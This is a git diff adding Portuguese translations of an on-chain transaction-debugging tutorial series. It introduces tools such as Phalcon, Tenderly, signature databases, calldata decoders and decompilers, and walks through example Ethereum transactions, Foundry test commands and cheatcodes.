+![圖片](https://user-images.githubusercontent.com/52526645/210580340-f2abf864-e540-4881-8482-f28030e5e35b.png) + +### Banco de Dados de Assinaturas Ethereum + +[4byte](https://www.4byte.directory/) | [sig.eth](https://sig.eth.samczsun.com/) | [etherface](https://www.etherface.io/hash) + +Nos dados de entrada brutos, os primeiros 4 bytes são Assinaturas de Função. Às vezes, se o Etherscan ou as ferramentas de análise não conseguem identificar a função, podemos verificar as possíveis Funções por meio do Banco de Dados de Assinaturas. + +O exemplo a seguir assume que não sabemos qual é a Função `0xac9650d8` + +![圖片](https://user-images.githubusercontent.com/52526645/210582149-61a6d973-b458-432f-b586-250c94c3ae24.png) + +Através de uma consulta no sig.eth, descobrimos que a assinatura de 4 bytes é `multicall(bytes[])` + +![圖片](https://user-images.githubusercontent.com/52526645/210583416-c31bbe07-fa03-4701-880d-0ae485b171f7.png) + +### Ferramentas úteis + +[ABI para interface](https://gnidan.github.io/abi-to-sol/) | [Obter ABI para contratos não verificados](https://abi.w1nt3r.xyz/) | [Decodificador de Calldata ETH](https://apoorvlathey.com/eth-calldata-decoder/) | [ETHCMD - Adivinhar ABI](https://www.ethcmd.com/) + +ABI para interface: Ao desenvolver um POC, você precisa chamar outros contratos, mas precisa de uma interface. Podemos usar essa ferramenta para ajudá-lo a gerar rapidamente as interfaces. Vá para o Etherscan para copiar o ABI e cole-o na ferramenta para ver a Interface gerada. [Exemplo](https://etherscan.io/address/0xb3da8d6da3ede239ccbf576ca0eaa74d86f0e9d3#code). + +![圖片](https://user-images.githubusercontent.com/52526645/210587442-e7853d8b-0613-426e-8a27-d70c80e2a42d.png) +![圖片](https://user-images.githubusercontent.com/52526645/210587682-5fb07a01-2b21-41fa-9ed5-e7f45baa0b3e.png) + +Decodificador de Calldata ETH: Se você deseja decodificar dados de entrada sem o ABI, esta é a ferramenta que você precisa. O Transaction Viewer do Sam que mencionei anteriormente também suporta a decodificação de dados de entrada. + +![圖片](https://user-images.githubusercontent.com/52526645/210585761-efd8b6f1-b901-485f-ae66-efaf9c84869c.png) + +Obter ABI para contratos não verificados: Se você encontrar um contrato que não foi verificado, pode usar essa ferramenta para tentar descobrir as assinaturas de função. [Exemplo](https://abi.w1nt3r.xyz/mainnet/0xaE9C73fd0Fd237c1c6f66FE009d24ce969e98704) + +![圖片](https://user-images.githubusercontent.com/52526645/210588945-701b0e22-7390-4539-9d2f-e13479b52824.png) + +### Ferramentas de descompilação +[Etherscan - descompilar bytecode](https://etherscan.io/address/0xaE9C73fd0Fd237c1c6f66FE009d24ce969e98704#code) | [Dedaub](https://library.dedaub.com/decompile) | [heimdall-rs](https://github.com/Jon-Becker/heimdall-rs) + +O Etherscan possui um recurso de descompilação embutido, mas a legibilidade do resultado geralmente é ruim. Pessoalmente, costumo usar o Dedaub, que produz um código descompilado melhor. É o meu descompilador recomendado. Vamos usar um MEV Bot sendo atacado como exemplo. Você pode tentar descompilá-lo por conta própria usando este [contrato](https://twitter.com/1nf0s3cpt/status/1577594615104172033). + +Primeiro, copie os Bytecodes do contrato não verificado e cole-os no Dedaub, e clique em Decompile. + +![截圖 2023-01-05 上午10 33 15](https://user-images.githubusercontent.com/107249780/210688395-927c6126-b6c1-4c6d-a0c7-a3fea3db9cdb.png) + +![圖片](https://user-images.githubusercontent.com/52526645/210591478-6fa928f3-455d-42b5-a1ac-6694f97386c2.png) + +Se você quiser aprender mais, pode consultar os seguintes vídeos. + +## Recursos +[samczsun's eth txn explorer and vscode extension](https://www.youtube.com/watch?v=HXgu239mPBc) + +[Vulnerabilities in DeFi by Daniel V.F.](https://www.youtube.com/watch?v=9fcOffCg2ig) + +[Tenderly.co - Debug Transaction](https://www.youtube.com/watch?v=90GN9Ut8LhU) + +[Reversing The EVM: Raw Calldata](https://degatchi.com/articles/reading-raw-evm-calldata) + +https://web3sec.xrex.io/ + +. + diff --git a/Languages/pt-br/Topics/Onchain_debug/01_tools/readme.md b/Languages/pt-br/Topics/Onchain_debug/01_tools/readme.md new file mode 100644 index 000000000..c161eeb75 --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/01_tools/readme.md @@ -0,0 +1,114 @@ +# Depuração de Transações OnChain: 1. Ferramentas + +Autor: [SunSec](https://twitter.com/1nf0s3cpt) + +Quando comecei a estudar análise de transações OnChain, havia poucos artigos educacionais relacionados, então tive que coletar informações por conta própria para descobrir como analisar e testar. Estamos lançando uma série de artigos de segurança Web3 para ajudar mais pessoas a se juntarem à segurança Web3 e criar uma rede segura. + +Nesta primeira série, vamos apresentar como realizar análises OnChain e escrever reproduções de ataques. Essa habilidade ajudará você a analisar o processo de ataque, as razões das vulnerabilidades e até mesmo como os robôs de arbitragem funcionam! + +## Primeiro, as ferramentas certas +Antes de começar a análise, vou apresentar algumas ferramentas comumente usadas. As ferramentas corretas podem ajudá-lo a ser mais eficiente em sua pesquisa. +### Ferramentas de depuração de transações +[Phalcon](https://phalcon.blocksec.com/) | [Tx.viewer](https://tx.eth.samczsun.com/) | [Cruise](https://cruise.supremacy.team/) | [Ethtx](https://ethtx.info/) | [Tenderly](https://dashboard.tenderly.co/explorer) + +Ferramentas como o Transaction Viewer são as mais comumente usadas e podem nos ajudar a visualizar o fluxo de chamadas de função e os parâmetros passados para cada função em uma transação que queremos analisar. +Cada ferramenta é semelhante, diferindo apenas no suporte a diferentes blockchains e recursos auxiliares. Eu pessoalmente uso principalmente o Phalcon e o Transaction Viewer do Sam. Se encontrar uma blockchain não suportada, uso o Tenderly, que suporta a maioria das blockchains, mas não é tão conveniente em termos de legibilidade, exigindo uma análise mais lenta. No entanto, quando comecei a estudar análise OnChain, aprendi primeiro com o Ethtx e o Tenderly. + +#### Comparação de suporte a blockchains + +Phalcon: `Ethereum, BSC, Cronos, Avalanche C-Chain, Polygon` + +Transaction Viewer do Sam: `Ethereum, Polygon, BSC, Avalanche C-Chain, Fantom, Arbitrum, Optimism` + +Cruise: `Ethereum, BSC, Polygon, Arbitrum, Fantom, Optimism, Avalanche, Celo, Gnosis` + +Ethtx: `Ethereum, Goerli testnet` + +Tenderly: `Ethereum, Polygon, BSC, Sepolia, Goerli, Gnosis, POA, RSK, Avalanche C-Chain, Arbitrum, Optimism, Fantom, Moonbeam, Moonriver` + +#### Operações práticas +Vamos usar o exemplo do evento JayPeggers - Insufficient validation + Reentrancy [link](https://github.com/SunWeb3Sec/DeFiHackLabs/#20221229---jay---insufficient-validation--reentrancy) e o [TXID](https://phalcon.blocksec.com/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6) para ilustrar o uso da ferramenta Phalcon desenvolvida pela Blocksec. Na imagem abaixo, você pode ver as informações básicas da transação e as mudanças no saldo. A partir das mudanças no saldo, você pode rapidamente ter uma ideia de quanto o atacante lucrou. Neste exemplo, o atacante lucrou 15,32 ETH. + +![210571234-402d96aa-fe5e-4bc4-becc-190bd5a78e68-2](https://user-images.githubusercontent.com/107249780/210686382-cc02cc6a-b8ec-4cb7-ac19-402cd8ff86f6.png) + +Invocation Flow: visualiza o fluxo de chamadas de função da transação, permitindo que saibamos quais transações foram chamadas, quais projetos estão envolvidos, quais funções foram chamadas e quais parâmetros e dados brutos foram passados. + +![图片](https://user-images.githubusercontent.com/52526645/210572053-eafdf62a-7ebe-4caa-a905-045e792add2b.png) + +O Phalcon 2.0 adicionou recursos de análise de fluxo de fundos, depuração e análise de código-fonte, permitindo que você veja trechos de código, parâmetros e valores de retorno durante o processo de rastreamento, facilitando a análise. + +![image](https://user-images.githubusercontent.com/107249780/210821062-d1da8d1a-9615-4f1f-838d-34f27b9c3f41.png) + +Vamos agora usar o Transaction Viewer do Sam para ver o [TXID](https://tx.eth.samczsun.com/ethereum/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6). É semelhante ao Phalcon, mas o Sam integrou muitas ferramentas menores nele. Ao clicar no ícone de olho, você pode ver as alterações no armazenamento e o gás consumido por cada chamada. + +![210574290-790f6129-aa82-4152-b3e1-d21820524a0a-2](https://user-images.githubusercontent.com/107249780/210686653-f964a682-d2a7-4b49-bafc-c9a2b0fa2c55.png) + +Clicando na chamada mais à esquerda, você pode tentar decodificar os dados brutos de entrada. + +![图片](https://user-images.githubusercontent.com/52526645/210575619-89c8e8de-e2f9-4243-9646-0661b9483913.png) + +Agora, vamos usar o Tenderly para ver o [TXID](https://dashboard.tenderly.co/tx/mainnet/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6). Na interface do Tenderly, você também pode ver as informações básicas, mas a parte de depuração não é visual, exigindo uma análise passo a passo. No entanto, a vantagem é que você pode depurar e ver o código-fonte e o processo de conversão dos dados brutos de entrada. + +![图片](https://user-images.githubusercontent.com/52526645/210577802-c455545c-80d7-4f35-974a-dadbe59c626e.png) + +Até aqui, podemos ter uma ideia geral do que essa transação está fazendo. Antes de começar a escrever um PoC, você pode se perguntar se é possível reproduzir rapidamente o ataque? Sim, é possível! Você pode usar o Tenderly ou o Phalcon, que suportam a reprodução de transações simuladas. Na parte superior direita da imagem acima, há um botão "Re-Simulate", que preencherá automaticamente os parâmetros da transação. A partir dos campos na imagem, você pode alterar qualquer coisa, como o número do bloco, o remetente, o valor, os dados brutos de entrada, etc. + +![图片](https://user-images.githubusercontent.com/52526645/210580340-f2abf864-e540-4881-8482-f28030e5e35b.png) + +### Banco de dados de assinaturas Ethereum + +[4byte](https://www.4byte.directory/) | [sig.eth](https://sig.eth.samczsun.com/) | [etherface](https://www.etherface.io/hash) + +Nos dados brutos de entrada, os primeiros 4 bytes são a assinatura da função. Às vezes, quando o Etherscan ou outras ferramentas de análise não conseguem decodificar, você pode usar o Banco de Dados de Assinaturas para verificar qual função pode ser. + +Aqui está um exemplo em que não sabemos o que é `0xac9650d8` como função. +![图片](https://user-images.githubusercontent.com/52526645/210582149-61a6d973-b458-432f-b586-250c94c3ae24.png) + +Ao consultar o sig.eth, podemos ver que a assinatura de 4 bytes é `multicall(bytes[])`. +![图片](https://user-images.githubusercontent.com/52526645/210583416-c31bbe07-fa03-4701-880d-0ae485b171f7.png) + +### Ferramentas úteis + +[ABI to interface](https://gnidan.github.io/abi-to-sol/) | [Get ABI for unverified contracts](https://abi.w1nt3r.xyz/) | [ETH Calldata Decoder](https://apoorvlathey.com/eth-calldata-decoder/) | [ETHCMD - Guess ABI](https://www.ethcmd.com/) + +ABI to interface: ao desenvolver um PoC e precisar chamar outros contratos, você precisa de uma interface. Essa ferramenta pode ajudá-lo a gerar rapidamente a interface desejada. Basta copiar o ABI do Etherscan e colá-lo na ferramenta para obter a interface gerada. +[Exemplo](https://etherscan.io/address/0xb3da8d6da3ede239ccbf576ca0eaa74d86f0e9d3#code) + +![图片](https://user-images.githubusercontent.com/52526645/210587442-e7853d8b-0613-426e-8a27-d70c80e2a42d.png) +![图片](https://user-images.githubusercontent.com/52526645/210587682-5fb07a01-2b21-41fa-9ed5-e7f45baa0b3e.png) + +ETH Calldata Decoder: às vezes, quando você não tem o ABI, mas deseja ver os dados brutos de entrada, pode experimentar o ETH Calldata Decoder. Como mencionado anteriormente, a ferramenta do Sam também suporta a decodificação dos dados brutos de entrada. + +![图片](https://user-images.githubusercontent.com/52526645/210585761-efd8b6f1-b901-485f-ae66-efaf9c84869c.png) + +Get ABI for unverified contracts: se você encontrar um contrato não verificado, pode usar essa ferramenta para listar as assinaturas de função existentes nesse contrato. +[Exemplo](https://abi.w1nt3r.xyz/mainnet/0xaE9C73fd0Fd237c1c6f66FE009d24ce969e98704) + +![图片](https://user-images.githubusercontent.com/52526645/210588945-701b0e22-7390-4539-9d2f-e13479b52824.png) + +### Ferramentas de descompilação +[Etherscan-decompile bytecode](https://etherscan.io/address/0xaE9C73fd0Fd237c1c6f66FE009d24ce969e98704#code) | [Dedaub](https://library.dedaub.com/decompile) | [heimdall-rs](https://github.com/Jon-Becker/heimdall-rs) + +O Etherscan possui uma função de descompilação embutida, mas a legibilidade é um pouco comprometida. Eu pessoalmente uso o Dedaub com mais frequência, pois é mais legível. Muitas pessoas me perguntam qual ferramenta eu uso para descompilar. +Vamos usar o exemplo de um MEV Bot que foi atacado [link](https://twitter.com/1nf0s3cpt/status/1577594615104172033) +Você pode tentar descompilar você mesmo [exemplo](https://bscscan.com/address/0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d#code) + +Primeiro, copie o bytecode do contrato não verificado e cole-o no Dedaub. Em seguida, clique em "Decompile". +![截图 2023-01-05 上午10 33 15](https://user-images.githubusercontent.com/107249780/210688395-927c6126-b6c1-4c6d-a0c7-a3fea3db9cdb.png) + +![图片](https://user-images.githubusercontent.com/52526645/210591478-6fa928f3-455d-42b5-a1ac-6694f97386c2.png) + +Por enquanto, é isso para a primeira lição. Se você quiser aprender mais, pode consultar os recursos de aprendizado abaixo. +--- +## Recursos de aprendizado +[samczsun's eth txn explorer and vscode extension](https://www.youtube.com/watch?v=HXgu239mPBc) + +[Vulnerabilities in DeFi by Daniel V.F.](https://www.youtube.com/watch?v=9fcOffCg2ig) + +[Tenderly.co - Debug Transaction](https://www.youtube.com/watch?v=90GN9Ut8LhU) + +[Reversing The EVM: Raw Calldata](https://degatchi.com/articles/reading-raw-evm-calldata) + +https://web3sec.xrex.io/ +. + diff --git a/Languages/pt-br/Topics/Onchain_debug/02_warmup/en/readme.md b/Languages/pt-br/Topics/Onchain_debug/02_warmup/en/readme.md new file mode 100644 index 000000000..366e4e9c5 --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/02_warmup/en/readme.md @@ -0,0 +1,162 @@ +# Depuração de Transações OnChain: 2. Aquecimento + +Autor: [Sun](https://twitter.com/1nf0s3cpt) + +Tradução: Helen + +Comunidade [Discord](https://discord.gg/3y3d9DMQ) + +Este artigo é publicado na XREX e na [WTF Academy](https://github.com/AmazingAng/WTF-Solidity#%E9%93%BE%E4%B8%8A%E5%A8%81%E8%83%81%E5%88%86%E6%9E%90) + +Os dados on-chain podem incluir transferências simples únicas, interações com um contrato DeFi ou vários contratos DeFi, arbitragem de empréstimo flash, propostas de governança, transações entre cadeias e muito mais. Nesta seção, vamos começar com um começo simples. +Vou apresentar no BlockChain Explorer - Etherscan o que nos interessa e, em seguida, usar [Phalcon](https://phalcon.blocksec.com/) para comparar as diferenças entre essas chamadas de função de transação: transferência de ativos, troca na UniSWAP, aumento de liquidez no Curve 3pool, propostas do Compound, Flashswap do Uniswap. + +## Comece a aquecer + +- O primeiro passo é instalar o [Foundry](https://github.com/foundry-rs/foundry) no ambiente. Siga as [instruções de instalação](https://book.getfoundry.sh/getting-started/installation). + - Forge é uma ferramenta de teste importante na plataforma Foundry. Se for a primeira vez que você usa o Foundry, você pode consultar o [livro do Foundry](https://book.getfoundry.sh/), [Foundry @EthCC](https://www.youtube.com/watch?v=wJnywGB33O4), [WTF Solidity - Foundry](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md). +- Cada cadeia tem seu próprio explorador de blockchain. Nesta seção, usaremos a rede blockchain Ethereum como estudo de caso. +- As informações típicas às quais geralmente me refiro incluem: + - Ação da transação: como a transferência de tokens ERC-20 complexos pode ser difícil de discernir, a Ação da Transação pode fornecer o comportamento chave da transferência. No entanto, nem todas as transações incluem essas informações. + - De: msg.sender, o endereço da carteira de origem que executa esta transação. + - Interagiu com (Para): Com qual contrato interagir + - Transferência de Token ERC-20: Processo de Transferência de Token + - Dados de Entrada: Os dados brutos de entrada da transação. Você pode ver qual função foi chamada e qual valor foi trazido. +- Se você não sabe quais ferramentas são comumente usadas, você pode ver as ferramentas de análise de transações na [primeira lição](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/01_tools/en). + +## Transferência de ativos + +![圖片](https://user-images.githubusercontent.com/52526645/211021954-6c5828be-7293-452b-8ef6-a268db54b932.png) +O seguinte pode ser derivado do exemplo do [Etherscan](https://etherscan.io/tx/0x836ef3d01a52c4b9304c3d683f6ff2b296c7331b6fee86e3b116732ce1d5d124) acima: + +- De: Endereço da carteira EOA de origem desta transação +- Interagiu com (Para): Contrato Tether USD (USDT) +- Tokens ERC-20 Transferidos: Transferência de 651,13 USDT da carteira do usuário A para o usuário B +- Dados de Entrada: Chamada da função de transferência + +De acordo com o [Phalcon](https://phalcon.blocksec.com/tx/eth/0x836ef3d01a52c4b9304c3d683f6ff2b296c7331b6fee86e3b116732ce1d5d124) "Fluxo de Invocação": + +- Há apenas uma ''Chamada USDT.transfer''. No entanto, você deve prestar atenção ao "Valor". Como a Máquina Virtual Ethereum (EVM) não suporta operações de ponto flutuante, é usada uma representação decimal. +- Cada token tem sua própria precisão, o número de casas decimais usadas para representar o valor do token. Nos tokens ERC-20, as casas decimais geralmente têm 18 dígitos, enquanto o USDT tem 6 dígitos. Se a precisão do token não for tratada corretamente, problemas surgirão. +- Você pode consultar isso no contrato de token do Etherscan [token contract](https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7). + +![圖片](https://user-images.githubusercontent.com/52526645/211123692-d7224ced-bc0b-47a1-a876-2af086e2fce9.png) + +![圖片](https://user-images.githubusercontent.com/52526645/211022964-f819b35c-d442-488c-9645-7733af219d1c.png) + +## Troca na Uniswap + +![圖片](https://user-images.githubusercontent.com/52526645/211029091-c24963c7-d2f8-44f4-ad6a-a9185f98ec85.png) + +O seguinte pode ser derivado do exemplo do [Etherscan](https://etherscan.io/tx/0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84) acima: + +- Ação da Transação: Um usuário realiza uma troca na Uniswap V2, trocando 12.716 USDT por 7.118 UNDEAD. +- De: Endereço da carteira de origem desta transação +- Interagiu com (Para): Um contrato de Bot MEV chamado contrato Uniswap para troca. +- Tokens ERC-20 Transferidos: Processo de troca de tokens + +De acordo com o [Phalcon](https://phalcon.blocksec.com/tx/eth/0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84) "Fluxo de Invocação": + +- O Bot MEV chama o contrato de par de negociação Uniswap V2 USDT/UNDEAD para chamar a função de troca para realizar a troca de tokens. + +![圖片](https://user-images.githubusercontent.com/52526645/211029737-4a606d32-2c96-41e9-aef7-82fe1fb4b21d.png) + +### Foundry + +Usamos o Foundry para simular a operação de trocar 1BTC por DAI na Uniswap. + +- [Referência de código de exemplo](https://github.com/SunWeb3Sec/DeFiLabs/blob/main/src/test/Uniswapv2.sol), execute o seguinte comando: +```sh +forge test --contracts ./src/test/Uniswapv2.sol -vvvv +``` +- De acordo com a figura - trocamos 1 BTC por 16.788 DAI chamando a função [swapExactTokensForTokens](https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02#swapexacttokensfortokens) do Uniswap\_v2\_router. + +![圖片](https://user-images.githubusercontent.com/52526645/211143644-6ed295f0-e0d8-458b-a6a7-71b2da8a5baa.png) + +## Curve 3pool - DAI/USDC/USDT + +![圖片](https://user-images.githubusercontent.com/52526645/211030934-14fccba9-5239-480c-b431-21de393a6308.png) + +O seguinte pode ser derivado do exemplo do [Etherscan](https://etherscan.io/tx/0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0b) acima: + +- O objetivo desta transação é adicionar liquidez às três pools do Curve. +- De: Endereço da carteira de origem desta transação +- Interagiu com (Para): Curve.fi: Pool DAI/USDC/USDT +- Tokens ERC-20 Transferidos: O usuário A transferiu 3.524.968,44 USDT para as três pools do Curve, e então o Curve emitiu 3.447.897,54 tokens 3Crv para o usuário A. + +De acordo com o [Phalcon](https://phalcon.blocksec.com/tx/eth/0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0b) "Fluxo de Invocação": + +- Com base na sequência de chamadas, foram executadas três etapas: +1. add\_liquidity 2. transferFrom 3. mint. + +![圖片](https://user-images.githubusercontent.com/52526645/211032540-b8ad83af-44cf-48ea-b22c-6c79d4dac1af.png) + + +## Proposta do Compound + +![圖片](https://user-images.githubusercontent.com/52526645/211033609-60713c9d-1760-45d4-957f-a74e08abf9a5.png) + +O seguinte pode ser derivado do exemplo do [Etherscan](https://etherscan.io/tx/0xba69b455c511c500e0be9453cf70319bc61e29eb4235a6e5ca5fe6ddf1934159) acima: + +- O usuário enviou uma proposta no Compound. O conteúdo da proposta pode ser visualizado clicando em "Decode Input Data" no Etherscan. + +![圖片](https://user-images.githubusercontent.com/52526645/211033906-e3446f69-404e-4347-a0c6-e1b622039c5a.png) + +De acordo com o [Phalcon](https://phalcon.blocksec.com/tx/eth/0xba69b455c511c500e0be9453cf70319bc61e29eb4235a6e5ca5fe6ddf1934159) "Fluxo de Invocação": + +- Enviar uma proposta através da função propose resulta na proposta número 44. + +![圖片](https://user-images.githubusercontent.com/52526645/211034346-a600cbf4-eed9-47ca-8b5a-88232808f3a3.png) + +## Uniswap Flashswap + +Aqui usamos o Foundry para simular operações - como usar empréstimos flash na Uniswap. [Introdução oficial ao Flash swap](https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps) + +- [Código de exemplo](https://github.com/SunWeb3Sec/DeFiLabs/blob/main/src/test/Uniswapv2_flashswap.sol) de referência, execute o seguinte comando: + +```sh +forge test --contracts ./src/test/Uniswapv2_flashswap.sol -vv +``` + +![圖片](https://user-images.githubusercontent.com/52526645/211125357-695c3fd0-4a56-4a70-9c98-80bac65586b8.png) + +- Neste exemplo, um empréstimo flash de 100 WETH é tomado emprestado através da troca Uniswap UNI/WETH. Observe que uma taxa de 0,3% deve ser paga nas devoluções. +- De acordo com a figura - fluxo de chamadas, o flashswap chama swap e depois paga chamando de volta uniswapV2Call. + +![圖片](https://user-images.githubusercontent.com/52526645/211038895-a1bc681a-41cd-4900-a745-3d3ddd0237d4.png) + +- Mais Introdução ao Flashloan e Flashswap: + + - A. Pontos comuns: +Ambos podem emprestar Tokens sem garantir ativos, e eles precisam ser devolvidos no mesmo bloco, caso contrário a transação falha. + + - B. A diferença: +Se o token0 for emprestado através do flashloan token0/token1, o token0 deve ser devolvido. O flashswap empresta o token0, e você pode devolver o token0 ou o token1, o que é mais flexível. + +Para mais operações básicas de DeFi, consulte [DeFiLab](https://github.com/SunWeb3Sec/DeFiLabs). + +## Cheatcodes do Foundry + +Os cheatcodes do Foundry são essenciais para realizar análises de cadeia. Aqui, vou apresentar algumas funções comumente usadas. Mais informações podem ser encontradas no [Cheatcodes Reference](https://book.getfoundry.sh/cheatcodes/). + +- createSelectFork: Especifica uma rede e uma altura de bloco para copiar para testes. Deve incluir o RPC para cada cadeia em [foundry.toml](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/foundry.toml). +- deal: Define o saldo de uma carteira de teste. + - Definir saldo de ETH: `deal(address(this), 3 ether);` + - Definir saldo de Token: `deal(address(USDC), address(this), 1 * 1e18);` +- prank: Simula a identidade de uma carteira especificada. É eficaz apenas para a próxima chamada e definirá o msg.sender para o endereço da carteira especificada. Por exemplo, simular uma transferência de uma carteira de baleia. +- startPrank: Simula a identidade de uma carteira especificada. Definirá o msg.sender para o endereço da carteira especificada para todas as chamadas até que `stopPrank()` seja executado. +- label: Rotula um endereço de carteira para melhorar a legibilidade ao usar o debug do Foundry. +- roll: Ajusta a altura do bloco. +- warp: Ajusta o timestamp do bloco. + +Obrigado por acompanhar! Hora de avançar para a próxima lição. + +## Recursos + +[Livro do Foundry](https://book.getfoundry.sh/) + +[Awesome-foundry](https://github.com/crisgarner/awesome-foundry) + +[Flashloan vs Flashswap](https://blog.infura.io/post/build-a-flash-loan-arbitrage-bot-on-infura-part-i) +. + diff --git a/Languages/pt-br/Topics/Onchain_debug/02_warmup/readme.md b/Languages/pt-br/Topics/Onchain_debug/02_warmup/readme.md new file mode 100644 index 000000000..4b356636d --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/02_warmup/readme.md @@ -0,0 +1,141 @@ +# Depuração de Transações OnChain: 2. Aquecimento + +Autor: [Sun](https://twitter.com/1nf0s3cpt) + +As transações on-chain incluem transferências simples de uma única transação, interações de contratos DeFi, interações de vários contratos DeFi, arbitragem de empréstimo relâmpago, propostas de governança, transações cross-chain, etc. Nesta seção, vamos começar com um aquecimento, começando com algo simples. Vou explicar quais informações do explorador de blockchain Etherscan geralmente são relevantes para nós e, em seguida, usaremos a ferramenta de análise de transações [Phalcon](https://phalcon.blocksec.com/) para analisar essas transações, desde transferências simples, swaps na UniSWAP, adição de liquidez no Curve 3pool, propostas de governança no Compound e diferenças nas chamadas de empréstimo relâmpago. + +## Começando com o aquecimento +- Primeiro, você precisa instalar o [Foundry](https://github.com/foundry-rs/foundry) no ambiente. Consulte as [instruções](https://book.getfoundry.sh/getting-started/installation.html) para saber como instalar. + - O teste principal será feito com o [Forge test](https://book.getfoundry.sh/reference/forge/forge-test). Se você estiver usando o Foundry pela primeira vez, consulte o [Foundry book](https://book.getfoundry.sh/), [Foundry @EthCC](https://www.youtube.com/watch?v=wJnywGB33O4) e [WTF Solidity - Foundry](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md) +- Cada blockchain tem seu próprio explorador de blockchain. Nesta seção, usaremos a rede principal Ethereum como exemplo e faremos a análise através do Etherscan. +- Geralmente, os campos que eu gostaria de ver incluem: + - Transaction Action: Como as transferências de tokens ERC-20 podem ser complicadas em transações complexas e de difícil leitura, podemos usar a Transaction Action para ver as ações-chave, mas nem todas as transações têm esse campo. + - From: O endereço da carteira de origem que executou a transação (msg.sender) + - Interacted With (To): O contrato com o qual houve interação + - ERC-20 Tokens Transferred: O processo de transferência de tokens + - Input Data: Os dados de entrada originais da transação, que mostram qual função foi chamada e quais valores foram passados +- Se você ainda não sabe quais ferramentas comumente usadas, pode revisar a primeira aula sobre [ferramentas de análise de transações](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/01_tools) + +## Transferência on-chain +![Imagem](https://user-images.githubusercontent.com/52526645/211021954-6c5828be-7293-452b-8ef6-a268db54b932.png) +A partir do [exemplo](https://etherscan.io/tx/0x836ef3d01a52c4b9304c3d683f6ff2b296c7331b6fee86e3b116732ce1d5d124) acima, podemos interpretar da seguinte forma: + +From: Endereço da carteira de origem que enviou a transação + +Interacted With (To): Contrato Tether USD (USDT) + +ERC-20 Tokens Transferred: Transferência de 651,13 USDT da carteira do usuário A para a carteira do usuário B + +Input Data: Chamada da função transfer + +Podemos usar o [phalcon](https://phalcon.blocksec.com/tx/eth/0x836ef3d01a52c4b9304c3d683f6ff2b296c7331b6fee86e3b116732ce1d5d124) para ver que há apenas uma chamada `Call USDT.transfer` no fluxo de chamadas. É importante observar o valor. Como a EVM não suporta operações com números de ponto flutuante, a precisão é usada para representar os valores. Cada token tem sua própria precisão, e é importante prestar atenção ao tamanho da precisão. O padrão ERC-20 tem uma precisão de 18, mas há exceções, como o USDT, que tem uma precisão de 6. Portanto, o valor passado é 651130000. Se a precisão não for tratada corretamente, podem ocorrer problemas. Você pode verificar a precisão consultando o contrato do token no [Etherscan](https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7). + +![Imagem](https://user-images.githubusercontent.com/52526645/211123692-d7224ced-bc0b-47a1-a876-2af086e2fce9.png) + +![Imagem](https://user-images.githubusercontent.com/52526645/211022964-f819b35c-d442-488c-9645-7733af219d1c.png) + +## Swap na Uniswap + +![Imagem](https://user-images.githubusercontent.com/52526645/211029091-c24963c7-d2f8-44f4-ad6a-a9185f98ec85.png) + +A partir do [exemplo](https://etherscan.io/tx/0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84) acima, podemos interpretar da seguinte forma: + +Transaction Action: É óbvio que o usuário está fazendo um swap na Uniswap, trocando 12.716 USDT por 7.118 UNDEAD. + +From: Endereço da carteira de origem que enviou a transação + +Interacted With (To): Neste exemplo, é um contrato MEV Bot que chama o contrato Uniswap + +ERC-20 Tokens Transferred: O processo de troca de tokens + +Podemos usar o [phalcon](https://phalcon.blocksec.com/tx/eth/0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84) para ver que o MEV Bot chama o contrato do par de negociação Uniswap V2 USDT/UNDEAD e chama a função [swap](https://docs.uniswap.org/contracts/v2/reference/smart-contracts/pair#swap-1) para trocar os tokens. + +![Imagem](https://user-images.githubusercontent.com/52526645/211029737-4a606d32-2c96-41e9-aef7-82fe1fb4b21d.png) + +Usamos o Foundry para simular a operação de trocar 1 BTC por DAI na Uniswap. Consulte o [código de exemplo](https://github.com/SunWeb3Sec/DeFiLabs/blob/main/src/test/Uniswapv2.sol) e execute o seguinte comando: +```sh +forge test --contracts ./src/test/Uniswapv2.sol -vvvv +``` + +Como mostrado na imagem abaixo, usamos a função Uniswap_v2_router.[swapExactTokensForTokens](https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02#swapexacttokensfortokens) para trocar 1 BTC por 16.788 DAI. + +![Imagem](https://user-images.githubusercontent.com/52526645/211143644-6ed295f0-e0d8-458b-a6a7-71b2da8a5baa.png) + +## Curve 3pool - DAI/USDC/USDT + +![Imagem](https://user-images.githubusercontent.com/52526645/211030934-14fccba9-5239-480c-b431-21de393a6308.png) + +A partir do [exemplo](https://etherscan.io/tx/0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0b) acima, podemos interpretar da seguinte forma: + +Adicionando liquidez no Curve 3pool + +From: Endereço da carteira de origem que enviou a transação + +Interacted With (To): Pool DAI/USDC/USDT do Curve.fi + +ERC-20 Tokens Transferred: O usuário A depositou 3.524.968,44 USDT no Curve 3pool e o Curve emitiu 3.447.897,54 tokens 3Crv para o usuário A. + +Podemos usar o 